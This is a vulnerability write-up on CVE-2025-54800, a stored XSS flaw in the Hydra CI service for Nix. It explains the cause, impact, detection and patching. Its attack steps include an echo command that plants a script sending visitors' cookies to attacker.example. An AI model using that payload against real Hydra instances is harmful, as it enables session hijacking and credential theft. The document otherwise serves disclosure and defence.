CVE-2025-54800: 
NixOS vulnerability analysis and mitigation

CVE-2025-54800 is a persistent (stored) Cross-Site Scripting (XSS) vulnerability in Hydra, the continuous integration service for Nix-based projects. A malicious package can write arbitrary JavaScript into Hydra's build output files (e.g., $out/nix-support/hydra-metrics, $out/nix-support/hydra-release-name), which is then stored in the Hydra database without sanitization and automatically executed in any visitor's browser when the build page is loaded. All Hydra versions up to and including commit 957884d174445b1615e86388254189bbe91f9a40 are affected; the fix was introduced in commit dea1e168f590efb27db32dbacc82b09e15f8ae4b (published August 12, 2025). The vulnerability carries a CVSS v3.1 score of 6.1 (Medium) and a CVSS v4.0 score of 7.1 (High) (GitHub Advisory, Red Hat).

The root cause is improper neutralization of script-related HTML tags in web page generation (CWE-79 / CWE-80): Hydra's queue runner reads build output files (hydra-metrics, hydra-release-name, hydra-build-products) without validating or escaping their contents before writing them to the database, and the Perl Template Toolkit templates then embed those values directly into HTML without escaping. An attacker controlling a Nix package's build process can write a payload such as <script>malicious_code()</script> into $out/nix-support/hydra-metrics or hydra-release-name; when Hydra processes the build, the payload is stored verbatim and rendered unescaped on the build page for any visitor. The patch (commit dea1e16) adds regex-based allowlist validation in build-result.cc for metric names, values, units, and release names, and introduces HTML.escape() / | html filters throughout the affected templates (GitHub Advisory, Patch Commit).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user — including administrators — who visits the affected build page. This can lead to session hijacking, theft of authentication tokens or sensitive information displayed on the page, unauthorized actions performed in the victim's browser context, and potential compromise of the Hydra administrative interface. Because the payload is stored in the database and triggered passively on page load, all users of a Hydra instance that builds the malicious package are at risk without any further attacker interaction (GitHub Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is approximately 0.047% (very low probability of near-term exploitation), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation requires that a malicious package be accepted into a Hydra build job, which limits the attack surface to scenarios involving untrusted third-party packages or supply chain compromise (GitHub Advisory, Red Hat).

1. Craft a malicious Nix package: Create or modify a Nix package derivation so that its build phase writes a JavaScript payload into one of the Hydra-monitored output files, for example:

   echo '<script>document.location="https://attacker.example/steal?c="+document.cookie</script> 1' > $out/nix-support/hydra-metrics

2. Submit the package to a Hydra jobset: Introduce the malicious package into a project that is built by the target Hydra instance — either by contributing to a third-party project, compromising a dependency, or controlling a project directly.
3. Wait for Hydra to build the package: Hydra's queue runner processes the build, reads $out/nix-support/hydra-metrics (and/or hydra-release-name), and stores the unsanitized payload in the database.
4. Trigger victim page visit: When any user (including an administrator) visits the build page for that package in their browser, the stored JavaScript payload is rendered unescaped and executes automatically.
5. Harvest results: The attacker receives stolen session cookies, tokens, or other sensitive data exfiltrated by the payload, potentially enabling session hijacking or further unauthorized actions (GitHub Advisory, Patch Commit).

• File System: Presence of <script> tags, HTML entities, or unexpected non-alphanumeric content in $out/nix-support/hydra-metrics, $out/nix-support/hydra-release-name, or $out/nix-support/hydra-build-products within a Nix build output.
• Database: Hydra database entries for buildmetrics or builds (release name fields) containing HTML tags or JavaScript code rather than plain alphanumeric values.
• Network: Outbound HTTP requests from a Hydra user's browser to unexpected external domains shortly after visiting a build page (indicative of data exfiltration via XSS payload).
• Logs: Hydra web server access logs showing requests to build pages for packages with unusual or third-party provenance, followed by requests to external URLs from the same client IP.

Apply the patch introduced in commit dea1e168f590efb27db32dbacc82b09e15f8ae4b to your Hydra installation; this commit adds strict allowlist regex validation for all build output metadata fields and introduces HTML escaping throughout the affected templates. If upgrading immediately is not possible, the recommended workarounds are: (1) avoid building untrusted or third-party packages on the Hydra instance, and (2) restrict access to the Hydra build pages so that only trusted users can view them. Additionally, deploying a Content Security Policy (CSP) header that restricts inline script execution can reduce the impact of any residual XSS vectors (GitHub Advisory).

The vulnerability was reported by security researcher msanft, coordinated by mweinelt, and remediated by dasJ within the NixOS/Hydra project. The advisory was published on GitHub on August 12, 2025, and Red Hat tracked it as a Medium-severity issue. No significant broader media coverage or notable public social media discussion has been identified beyond the standard vulnerability database entries.